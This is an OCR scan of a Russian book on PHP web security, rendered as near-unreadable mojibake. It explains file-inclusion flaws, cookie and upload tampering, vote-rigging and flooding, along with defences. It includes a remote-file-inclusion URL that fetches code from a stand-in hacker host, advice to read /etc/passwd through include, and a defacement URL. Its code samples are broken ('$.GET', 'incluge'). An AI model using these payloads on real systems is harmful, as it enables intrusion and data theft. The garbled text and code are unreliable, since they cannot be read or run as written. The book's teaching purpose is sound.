naem 510t URL Ha Web-cailT ¢ yassumocThio ¥ nonysaem: hitp://192.168.1.5/
param.php?file=http://www.hacker_website.com/ls.php?cmd=15%20-al.
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include($_GET['dir']."/".$.GET['file'));
}

>

</BODY>
</HTML>

Bee cugHapum, NPUBEAGHHBIE B AAHHOW KHUTe, Bbl MOXETE HARTH Ha NPWUNAraeMoM
KOMNaKT-AnEKe.

Jlanuylo owHOKy Ha3biBAIOT MO-PA3HOMY, HO MHe Gonbine HpasuTeA "npobnema
include”, IOTOMY 4TO UMEHHO C 3TOW QyHkuMeli csasana ownbka. [Tapamerp,
niofly4aeMblif CLEHApHeM, MCToAb3yeTcd B (QYHKUMM include Ges kakux-iubo
nposepok. ITa GyHkuMs nogkmodaet daiin u orobpaxaer ero. Ecnu B daiine Ha-
xonutesa PHP-kon, T0 on Gyner shinonneH, a pesyseTar Tawke Syner otobpaken
Ha Web-cTpanuue. .

Bce, uTo MbI GyneM rosopHTs 0 QYHKUMM include, B PABHON CTENEHH OTHOCHTCH
W K require. OTa GYHKUHA TAIOKe MOAKTIOUAET (Gaii ¥ AENaeT 10 TeM XKe MeTo-
noM. PasHuua TONBKO B TOM, YTO eciu ¢ailn He cymecTayeT, QyHKUMS include
Bh1AaCT OWMEKY U NPOXOAKHT BLINOAHEHNE, 2 GYHKLNA require npepseT paGoTy
cueHapta. ECTb ewe GyHKUMH include_once W require_once, KOTOPbIG NOMKIIO-
“aloT (haiist TOIBKO OMH pas.

3anaua xakepa riepefiaTh Takue napaMeTpsl, wrofbl Ha Web-cTpanuue otoGpaska-
nach Heofxomumas emy uHdopmauud. Hampumep, ecau nmoaxmiouuts  gaiin
Jetc/passwd, re HAXOAMTCA COIUCOK BCEX MO/B3OBATENEH CHCTEMBY, TO Xakep 6y-
€T 3HATH JOCTATOYHO MHOTO.

Sl yxe nuca, 4TO 3HAHKME UMEH YUETHBIX 3aMHCE 3HAUMTENBHO yNpowaer pabory
xakepa. Taloke cnegyeT yuecTs, wTo Hem Gonbliie monbiosaTenied, Tem mpome
OCYWIeCTBUTE 110460p — BbIle BEPOATHOCTD, UTO KTO-TO BeGepeT cebe mpoctoii
napons. Ouens 4acTo Geiaet, 4To cpeay 100 yueTHsix 3anuceii y oasoil 06aza-
TENLHO MMA W Naponb COBMAlyT. AAMUHUCTPATOPY B TAKMX CAyHasx OCTaeTcs
TOABKO HALATBCS, YTO Y ITOH Y4ETHOM 3aNKMCH Maso Npas, a caM CcpBep B NaH-
HbIif MOMEHT HE COAEPKUT Cepbesrblx omubok OC ¥ KOHHUIypaluyy, C NOMOLIBIO
KOTOPLIX XaKEp CMOXET NOSTY4HTh NpaBa aIMHHHCTPATOpA.

Urax, B wawev cnyuae Ha Web-cTpaHuue ecTh crnenyiomaa ctpoka URL:
hittp://192.168.1.5/inc.php?dir=news&file=netutils. 3aect cuexapuio inc.php
nepegaeTca ABa napametpa dir W file. epes napaMeTp Gir mepepactcs UMA
JIMPEKTOPHK REWS, W3 KOTOPOH HYXHO noakmoumth daiin, a B napamerpe tile
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TMonoGubili cueHapuit Mbr paccmaTpusany panee (cm. pazo. 3.1). B kauectae ma-
PAMETPOB OH MOMTyHaeT ABE MEPEeMEHHbIE METOAOM GET: WM AMPEKTOPHH K HMA
¢aiing, KOTOpbIE HYXKHO MORKTIOYKMTD Hepes PYHKLMIO include. B camom Hauane
CLIEHAPHA Mbl MPOBEPAEM TIO/TyuaeMble NapaMETPHI Ha OMacHbie CHMBOJIBI, HO IIPK
3TOM OfpaitiaeMcs K HUM Hepes MAcCHB $_GET, a IOTOM HCrofib3yeM asToMaTHye-
CKHM 3apErHCTPUPOBAHHBIE TIepemMertble $dir u $file. [To unee, 3TH nepementbie
YoKe TIPOBEPEHBI, HO 3TO He TaK. Macchs W nepeMenHble — 310 abCONIOTHO pasHbie
BELIY, HO ITO HEIAMETHO HA NEPRBIA BArAAL. A €CIM MOAKOPPEKTHPOBATH B CTPOKE
URL nepenanaembie fanubie, TO Mbl CMOXKEM yBUAET: aiin /etc/passwd. Jeno
B TOM, YTO HA 3aNPELIEHHBIE CHMBO/TbI IPOBEPAIOTCA TOABKO 3HAYEHHA B MACCHBE,
HO He NIePEMEHHbIE $dir U $file.

Ecnu Bo MpOoBepAeTe NAHHBIE B MAcCHBE $_GET, TO W HCHOJIBS)’I‘;ITG HAHHbIC UMEH-
HO M3 MaccuBa. Ec/i Bb! NpOBepAeTe Ha HEKOPPEKTHbIE JAHHLIE 3ApEerucTpUpo-
BaHHYIO MEPEMEHHYIO, TO HYXKHO HCNOAL3OBATE HMEHHO ¢, HO HUKOTAA HE Yepe-
Ayiire o6a BapranTa,

3.4.4. Apyrue metoas!

He 3aGbiBaiiTe, 4TO CYIIECTBYIOT M APYTHE METOAL NOJYHYEHUSA JAHHBIX OT TOMb-
30BaTeNs, Hanpumep, ¢ nomowbio Cookies. K 5THM ZaHHEIM Takke HYXHO OTHO-
CUTBCA O4eHDb AKKYDATHO, TIOTOMY HTO XaKep MOsxeT Gea npobieM koppekTHpoBaTh
W 3T napameTphl.

Jlasaiite paccmMOTpUM 3TO Ha npHmepe. Hemuoro nomkoppekTupyeM H3GuTeii
B 3TOH 1778B€ NPHMEP CUEHAPHA C 38rPy3koH (aitnos, 4TOGEI OH MOT MCIONB3OBATE
Cookies. Koseuno, 370T npUMep Janek OT peanbHO UCTIONb3YEMBIX, HO BCE JKE XO=
POULIO MOKA3BIBAET, KAK XAKEPbl MOrYT MCMOAB30BATh 3HAYEHHA, COXpaHAembie
8 Cookies.

WTak, nONyCTHM, YTO Y HAC €CTh KOJI, NPUBEACHH I B THCTHHTE 3.7,

<?
setcookie ("dir", "news", time()+5184000):
setcockie ("file®, "netutils.html®, time(}+5184000);

>

<HTML>
<HEAD>
<TITLE>Injection test</TITLE>
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Puc. 4.4, ®opma oTnpaskk AanHbIX

M3 cueHapHa MBI MOXEM YBWHETb JlaHHbie akina uvepes MaccHB
$HTTP_POST_FILES. 3TOT MacCHB fBNAETCA ABYXMepHbiM. Ilepbbii yponeHb
ONpeAeNAeT MMEHa NoNeH, B KOTOPBIX HAaXxoAATCA NapaMeTph dakna. Onxa dopMa
MOXET OTNPABIISTE HECKONBKO (hallioB, NOITOMY $HTTP_POST_FILES (none) YKA3bl-
BaeT Ha HyxHbIl HaM Qaii. B dopme Bbine none Ans BBoAa UMeHH daiina ume-
oT UMA £ilel, MOITOMY U3 CLICHAPHA K 3ToMY dafiny obpalaemca Tak:
SHTTP_POST_FILES{"filel"]

Bropo#t ypoBeHs onpenenser cBoiCTBA 3arpymeHHOro Gaiina, 3nech ecTb oite-
Ry1OLUME DNEMEHTEI MacCHBa:

O tmp_name — WM BpemeHHoro ¢aiina;

O name — nMA (aiina ICTOHHKA Ha MALIHHE KIUEHTA;

O type — TN daiina;

O size — pa3mep daiina.

Wrak, 4toful yBuaeTs UMs Bpementoro daiiia, kyaa 6binu 3arpykeHsl 1aHHble,
nnuem:

$PHP_POST_FILES{"filel") ["tmp_name"]

Ho 3to ewe we Bce. Bpemennetii daiin Ha UNIX-cepsepax yalle BCero co3faeTcs
B AWpeKTOpMK /tmp. 310 0blen0cTYNHAA APEKTOPHA, KYA8 MOTYT MHCaTh Boy
10/Ib30BATENH, YTO He oueHb xopowo. K ToMy ke dain, conepxauiica B o
narke, MoxeT GbITh yaaneH cuctemoit. HamHoro adgexrnnHee Gyzet B cucHapl

YHCCT 3TOT MOMEHT M CKOMUpOBaTh (haiin B CrEUHATILHO BbIACNCHHYIQ BN 1al
HbIX UeneH MHPEKTOPHIO.
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HEKOTOpBIE MyTH, 4To6kI He Gbino BHAHO anpeca Web-calita, KoTopbIit 8 TecTHPO-
Ban), D10 yrKe HHTEPECHO, BEb HaM COOBIIAIOT, YTO MbI OGPATHANCE K 3aNpPEIeH-
HoM yacTH Web-calira.

ol
i S

Puc. 3.7. Web-caliT 408epuUBOI0 NONb30BaTENA

B camoit nocnenuedi CIPOKE HAM HANWCANW, YTO YKA3AHHBIA (yYTh HE PA3PEICH,
H TYT K€ NepPeuncnenbl Bee paspelieHHble MyTH:

/home/vusers/domains /XXXXKX

/home/vusers/users /XXXXX

7tmp

/var/tmp

/usx/local/bin

fusr/local/lib/php
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nonesuyto MHbopmaumio). Kaasiii Web-calit cozpaer Ha BaweM komubioTepe
cBOR (haiin, k KOTOpOMY MMEeT ocTyn TobKo OH. Koraa Bbl oTaaete cBoii ronoc,
To uHpopMauns o6 3Tom coxpansercy B Cookies. PacCMOTPHM 1ar, KOTopsle
BBINONHAOTCA NPH FONOCOBRHHH:

1. OTnpaBka nakeTa ¢ OTBETOM Ha BONPOC.
2. Cepsep oGpalaTbiBaeT OTBET Y NPHCHUIAET MOATBEPKIACHNE.
3. Baw xomnbloTep coxpanseT nHpopmaunio B Cookies.

Taknm 06pa3oM, NpH CleAyOmMed NonkiTke rofocosalMs Web-cepsep ¢ nomo-
w0 Cookies onpeaesnT, YTO BB YiKke roNOCOBANM, W HE JACT BaM CENaTh 3TOro
noBTopHo. HO Tak Tobko npeanonaraetes, a cefuac Mbl pacCMOTPHM METOAbI,
KOTOPLIMH 3TY 32LIATY MOXHO OGOHTH.

2.1.1. BapuaHT HakpyTku Ne 1

TlaTh Ner Hasax cucteMa ronocosanus Ha www.download.com He umena afco-
MOTHO HUKAKOM 3alIMThI OT NOATACOBKH, U MOKHO BBLIO BOCIOMBIOBATBCH NPO-
crefilmm cnocobom "BuicTporo kauka": saxonure Ha Web-caiir, BeiGupaere HyK-
HbIH BapHaHT OTBETa M HAauYMHaeTe GbICTPO HakMMAaTh kionky OTAPaBHTh.

JlomycTiM, Bbl HCRONB3YETe POCTYIO TENePOHHYIO THHWIO, TOTKA ANA OTTPaBKH
Balllero OTBETA M NOAYYEHUA NOATBepxAeHHA (3anuck sanwbIX B Cookies) HyxHo
Bpems. Eciin B MOMEHT NepechITkH/NoNyYeHHs naKeTa NOBTOPHO HAXaThb KHOMKY
OTnpaBuTe, TO NpebiIyLllas NOCEUTKA H2 KIMEHTCKOH CTOPOHe CUMTAETCH Hesa-
BEPLICHHOI H OTMEHASTCH, @ HauHHAeT paBOTaTh HOBAA CECCHA OOGMEeHa JAHHLIMU.
Koraa wa nepsyto oTnpasky npuaeT noarsepxacHue Web-cepeepa 1 npocsba us-
menuTh Cookies, TO 3anpoc GyeT OTKIOHEH H3-32 HECOBNANEHHS CECCui.

Crenosarenbto, ecan GbicTpo HaxHMarh kHonky OrTnpasuTs, T0 GyayT oTnpas-
NATHCA NAKEThi C HAIIWMK BapHaHTaMM OTBeTa, a Web-ceppep ux obpaGoTaer
W noBaBUT nonydeHHble ronoca (T. . BbINOAHATCS ward | M 2). A BoT Baw
KOMIBIOTEP CTAHET OTKIIOHATH NOATBEPKACHHA, W TPeTHI wwar GyneT npomyckatbes,
NIOKa HE NPOM30MAET OIHO U3 CAERYIOWNX cOGhiTHiA:

O ecnu Bt NpekpatiTe GHICTPO HAKMMATh KHOMKY OTNPABKH OTBETa, TO Gpaysep
npumer aitn Cookies, nonyuenHbiit B pesynbTaTe NOCAEAHEro HakaTHd,
H COXPaHHT €ro;

O ecam mexay HakaTHAMK KHoMkW oTnpasku Web-cepeep obpaSoran sanpoc,
2 BAL KOMMLIOTEP YCNEN NPHHATL NOATBEPHIEHHE, TO (aiin Byaer cosnaH,
H ANk HERALTHE HAKATHA CTAHYT HEBOIMOMKHBIMH,

Ha BbienenHbIx THHMAX © GONBILON CKOPOCTIO NOAKNIOUCHUA OGMEH NakeTaMu
NPOMCXCAWT BLICTPO, H MOKHO HE YCTIETh HAXATh B OYEPSAHOH pas, a 3HauMT,
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koTopeie GymyT 3amdcaubl & daiin, B Hawem cryuae 3TO pesynsTaT (yHKUHW
ob_get_contents.

TINMocne coznanns daiina U3MEHSIOTCs ero npasa aoctyna Ha 0777, uTo cooTBeTcT-
BYeT IIPaBaM, TIPH KOTOPBIX R0CcTyN K (aiiny paspeiueH scem:

@chmod ("cache/$CacheName htm*, 0777);:

3arpysute ¢ noMowblo Gpaysepa 2T0T cueHaphii ¥ nonpotykre o6HoBUTS. [Tocne
obHOBACHHA BHU3Y BBl YBUAWTC :ooneHue O TOM, YTO Web—chaHuua B34Ta U3
Kaua.

Ecnu Bbl peluuTe WCmonb30BaTh 5Ty 3aTOTOBKY B CBOMX NPOEKTaX, TO Mepese-
cuTe QYHKUMH ReadCache M WriteCache B OTAC/bHBIA MODYAb M NONKNIOYAHTE
© IOMOWIBIO (YHKUHMM include.

3arotoska AeficTeuTenbHo ynoGuas. Eciu HykHO cO37aTh €l ORHY CTpaHMLY
Web-caitta, Hanpumep, KOHTAKTOB, To €e KON OyHeT BHINIANETb CieaylIuM
obipazom:

<?

incluge (' func.php') ;

/7 OcuoBrol xoR Web-cTpasus

if (ReadCache("Contacts"}==1}

exic;

ob_start(};

print ("<CENTER><B>KoHTakTH</B></CENTER>") ;

print {"<P>YTOON CBA3ATBCA CO MHOW: horrific@vr-online.ru");
WriteCache("Contacts", ob_get_contents(}};

ob_end_flush() ;

>

B Havasie cuesapus noaxouaercs gatin func.php, B koTopom nomxHe! 6eiTe pea-
JU30BaHLI q)yHKulﬂl ReadCache W WriteCache.

Yrobul Baw cueHapuii 6bin Ge3omacHbIM, HeAb3A JenaTh Tak, 4ToGbl MO/NB3OBA~
TeNb CMOT MOBAMATh HA MM3 NEPEABACMOTO 3HAUCHHS B (PYHKUMM ReadCache
K WriteCache. iHaue xakep cMoxeT 4MTaTh haisibl U nepesanucbiBath ux. B Ha-
wWeM IPUMEPE UMA REPENACTCA KECTKO, §e3 KAKHX-THEO AepeMEHHEIX W TPH 3TOM
nepenaerca Ge3 pacivpenus. Paciumpenne ¢aiina w nyTs aoGamnalTcs npos
rpammuo. Ecnu Haseanne Web-CTPaHHUBI elle MOXKHO BLIHECTH B NEPEMEHHYIO H
TIO3BONKTE NO/L3OBATENIO BAMATE HA HEE, TO TYTh ¥ PACLUKMPEHHe A0MKHB HoGas-
AATHCA K uMeHy Qaiina nporpammso. Ilepegasa nmoaHoro nyTH B GyHKUAK
ReadCache M WriteCache HOMHa GbITh 3afIpeiliena, V1A HEro C NOMOLIBIY pery-
JIAPHORO BBIPAKEHYA CNEYET BRIPE3ATH U3 NAapPaMETPa ONacHbi¢ CHMBOJTBI.
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<gelect gize="1" name="where">
<option value="1">News</option>
<option value="2">Download</option>
<option value="3">Story</option>
<option value="4">Contacts</option>
</select>

</ font>

<input type="submit® value=*Go">
</ form>

<hr>

<2
if (isset($_GET('where'])}
{
if ($_GET{ where’
$file = 'news/news.html';

if {$_GET['where')==2)
$file = 'news/download.html‘;

if ($_GET['where’ )
$file = ‘news/story.html';

if ($_GET('where’]==4)
$file = 'news/contacts.html';

include(sfile};
1

?>

</BODY>
</HTML>

Coxpannte ComepRuMOe 3TOTO NMcTUHra B daitne paraml.php, w ecni y Bac ecTb
Web-cepsep, rae MoxHo BoimnonHaTe PHP-cuenapuy, 1ionpoGyiiTe ero Tam sanyc-
TTL (pHc. 3.12).
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Cmbicn cueHapus npoct. B ceodictse dopMbl action ykaseieaercs URL:
file.php?command=questions/user.txt. [Tomumo cuesapus, 8 URL ykaszan cme
M mapamMeTp command, B KOTOPOM NIPOMMCAHO WMA (alina ANA 3amMCH NaHHBIX.
HecmoTpa Ha To, YTO mapaMeTp MpOMMCaH, H3MEHMTH €r0 OueHs mpocTo. Yepes
napaMeTp param MepeaaeTcA TEKCT, KOTOPbIA HyxHo zamucath B ¢aiin. Ecmu
daiin rnasxoit Web-crpasullbr uMeeT UMa index.php M zocTynmeH Ha 2anuch, TO
MoXHO shimoAHnTs credyroudii URL: http://servername/file.php?command=
index.php&param=<hl1>Hacked</hl>.

TlouCK YA3BHMOCTH M 3allMTa TOYHO TaKasd Ke, KAK H 3alIMTa MOMIUHOHAEMBIX
¢aiinos, o koTOpOH MBI FOBOPUIH B 27a6e 3. HyxHo npocto nepeaarath yepes Bee
napaMeTphl Mycop MM IyTH K (baiiinaM, KOTOPbie 3ABEIOMO MOTYT GbITh OTKPBITHI
Ha YTeHHWe Wi 2anich. TYT HHYEro HOBOTO A BaM CKa3aTh HE MOTY, NPOCTO HEOG-
XOHMMO, KaK MOXXHO CHNbHEE OTPAHMYHTE MO/b3OBATENA U BHITONHHTH CSAYIO-
LMe yCroBas:
) noAb30BaTeNk HE AOKEH UMETh BOIMOXKHOCTH BAMSTL HA WMs dafina, Tyuie
BCEro, ec/u oHO He GyAeT NepenaraThca OT KaMenTa, a SyAeT KeCTKO mponu-
€aHO B CLIEHapHK;

O ecau uma (bﬂﬁ.ﬂa He MOXeT GuTh 32aH0 B CUEHApHU, TO U3 MOAy4Haemoro na-
paMeTpa ACMKHE! GbITh ynaneHn BCe onacHbie CHMBonkr. Yrobkl 6bu0 npolne,
AYHIUE BCErO B KAYeCTBE UMEHM TIEpenapaTh TOAbKO umcoBot HOMEp q)ﬂﬁﬂﬂ,
Hanpumep, dalin MOXKET UMeTh BUA LestV.AXL, rie N — 310 4HCHO, KOTOpOe
W TIepenaeTca B KAHECTEE NapameTpa;

0 panabie, koTOphle samuchbiBaloTea B dalin, Takxe HOMKHBI QUIBTPOBATHCH,
ocoleHHO, ec/iu OHHU noToM GynyT oToGpaxkaTeca Ha Web-cTpanuue uau nepe-
DABaTLCA CHCTEMHLIM YHKIMAM;

0 ue 3a6piBaeM, YTO MOMLITKM 106ABUTL B HAUATIO UAK KOHell NapaMETPa JaHHbIE
Ana HOPMUPOBAHKA ITOSHOTO MYTH HKYETO He maayT. Xakep moxer Ge3 npo-
6nem o6oiiTy 3TO OTPAHKMEHHE.

JlioBbte nonbiTkY NpoBEpHTH HaMUKME (alina B CUCTeME NEpedl €TO OTKPbITHEM —
Becembtcnennbl. Ecnn xakep nepenaer ums /etc/passwd u atot daiin Gynet cyme-
CTBOBATh B CHCTeMe, TO OpPOBEPKA Ha HalMuke alina mpoiiaer ycnewmso,
W CUeHapHii 0TKpoeT ero u oTobpasuT.

Ha aToM, 5 iymas0, paccMoTpeHye AaHHOH npoGnembl MOXHO 3aBepiuTs. [TosTo-
PATbCA HET CMBICAA, 3 HOBOro nobasnTe Hewero. Koe-uto Mel MOBTOpHM, Korna
Gynem paccMaTpUBATE MPHMEPL YA3BUMOCTeH paGoTel ¢ daiinami Ha Apyrux a3bi-
KaX MPorpaMMnpOBaHys.
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setup/setup.phtm] Bocnpunumaerca Web-ceprepoM kak McHonHseMbii, To mpo-
CMOTp €ro CTAHOBHTCA MPOGIEMATHYHBIM H Xakep HE CMOXET y3HaTh, [1¢ HAXO-

nwrca Gasa.

2y

TR

Puc. 2.4. Pacchinka HopocTeh MLM
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Ecnut pesynbtaTom GyZeT HeHyneBoe 3HAYEHWE, TO YKa3aHHbIH NoNb3oBaTeNs yKe
FOMIOCOBAN 32 YKasaHHLLH TOBAP A ero rosioc MOXKHO He YuHTbBaTh, UroGnl onpe-
JENNTE, €CTh Y B Gase NAHHBIX HaKPYTKM, TO MOXHO BEINOAHHTL NPUMEPHO Ciie-
Aytoumi 3anpoc:

SELECT idUser, idGoods, count(*)

FROM TaGmas

GROUP BY idUser, idGoods

Takum oGpazom, MBI N0TyunM B pedynikTate Tabuwy, B koTopolt GyayT nokasaHb!
HAEHTH(HMKRTOPS! MONb3oBaTenel M TOBaPOB, W KOMMYECTBO IONOCOBAHWH 3a
KaX(blfl TOBap. B pe3y/bTaT nonafyT 320HCH, B KOTOPBIX KONIHYECTBO IOACCOBA-
Huii nMeeT moGoe 3HateHHe, ECK BBl XOTHTE OrpaHiHHTL Pe3yAbTaT TONbKO TEMH
32NMCAMH, B KOTOPBIX €CTh HaKpyTKa (T. €. KOJMYECTBO TONOCOBAHH Gombiue 1),
TO 3anpoc ROMKEH GLITs NPUMEPHO CRETYIOUINM:

SELECT idUser, idGoods, count(*)

FROM TaGumaus

GROUP BY idUser, idGoods

HAVING count (*)>1

BoT TakuMm BOT OﬁpMDM A BBIMHCTUA TeX, KTO nbITanca oﬁmauyrb MEHA BO BpeMa
TONOCOBAHUSA, W YAANKIT BCE TMUTHUE MOAOCa.

Jns Gonbiedt 3QpeKTHBHOCTH MOXHO coXpaHsTh B Tabnnue u [P-anpeca, HO ne-
RONL30BATH 3Ty MHPOPMALMIO HEOBXOAUMO TONLKO, Kak CNPABOUHYIO, Beb NOX
oanum IP-anpecom Moxer paboTaTh COTHS, a TO M ThicA4a NoRb3oBaTeNe.

Ecnu Baiia cHCTEMa TONOCOBAHWI COCTOMT TONMBKO M3 BhIGOpa onpeieneHHoro
OTBeTa Ha ONpeaeNeHHbIH BONPOC, TO WaeHTHdUKATOp ToBapa HeoOXORHMO 3aMe-
HUTh WASHTHHKATOPOM BOTPOCA, HA KOTOPLIN OTBE4AeT noceTutenk, Takum o6-
PasoM, Ha KIKUIbIA BONPOC MO/Tb30BATENb CMOXKET OTBETHTD TO/KO ONMH pas.

2.2. dnyn

Ewe ofHa aTaka — My, kOTOPas COCTOMT B TOM, 4TO Ha Web-calit oTnpasnaer-
cs Gonbuioe komMuecTso GeccmbichenHol uHdopMaluuy. OAYE MOKHO NPOM3BO-
JMTH NPOTHB TEX CUEHAPHEB, KOTOPbIE MOFYT MO/YY4aTh TEKCTOBYIO HHbOpMaLIHIO
1 oToGpaxath ee Ha Web-crpanuue. K TakuM cLeHapiHaM OTHOCATCH:

O ¢opymbs;

) rocTeBbie KHWTH;

O uares;

3 GopMbl OGpaTHON CBA3H;

O dopmbt, /e NoNLIOBATENb MOXET NPOCMOTPETE U OCTZBUTH CRBOM KOMMEHTAPHH.
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